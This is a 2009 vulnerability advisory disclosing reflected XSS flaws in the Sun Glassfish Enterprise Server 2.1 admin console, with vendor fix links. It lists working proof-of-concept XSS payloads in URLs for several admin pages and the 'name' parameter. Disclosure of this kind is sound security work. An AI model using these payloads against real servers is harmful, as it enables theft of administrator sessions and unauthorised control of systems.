Digital Security Research Group [DSecRG] Advisory #DSECRG-09-034
Original advisory: http://dsecrg.com/pages/vul/show.php?id=134
Application: Sun Glassfish Enterprise Server
Versions Affected: 2.1
Vendor URL: https://glassfish.dev.java.net/
Bug: Multiple Linked XSS vulnerabilities
Exploits: YES
Reported: 19.03.2009
Vendor response: 20.03.2009
Solution: YES
Date of Public Advisory: 05.05.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
Description
Glassfish Enterprise Server Admin Console has multiple linked XSS vulnerabilities.
Details
Using this vulnerability attacker can steal admin's cookie and then
authentificate as administrator or perform certain administrative
actions.
Many pages have typical XSS vulnerability.
Attacker can inject XSS in URL string.
Example:
http://[server]/applications/applications.jsf?');};alert("DSecRG_XSS");</script><!–
http://[server]/configuration/configuration.jsf?');};alert("DSecRG_XSS");</script><!–
http://[server]/customMBeans/customMBeans.jsf?');};alert("DSecRG_XSS");</script><!–
http://[server]/resourceNode/resources.jsf?');};alert("DSecRG_XSS");</script><!–
http://[server]/sysnet/registration.jsf?');};alert("DSecRG_XSS");</script><!–
http://[server]/webService/webServicesGeneral.jsf?');};alert("DSecRG_XSS");</script><!–
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…
<script type="text/javascript">
var myonload = new Object();
myonload.oldonload = window.onload;
myonload.newonload = function() {
if ('/applications/applications.jsf?');};alert("DSecRG_XSS");</script><!–' != '') {
…
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Many pages have typical XSS vulnerability in GET parameter "name".
Attacker can inject XSS in URL string.
Example:
http://[server]/configuration/auditModuleEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>
http://[server]/configuration/httpListenerEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>&configName=server-config
http://[server]/resourceNode/jdbcResourceEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>
Solution
This security vulnerabilities fixed in CVS.
The following links to the commit email messages for all the changes to fix these issues:
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29669
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29668
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29675
Credits
http://www.nabble.com/Re:--DSECRG--Sun-Glassfish-Multiple-Security-Vulnerabilities-p23002524.html
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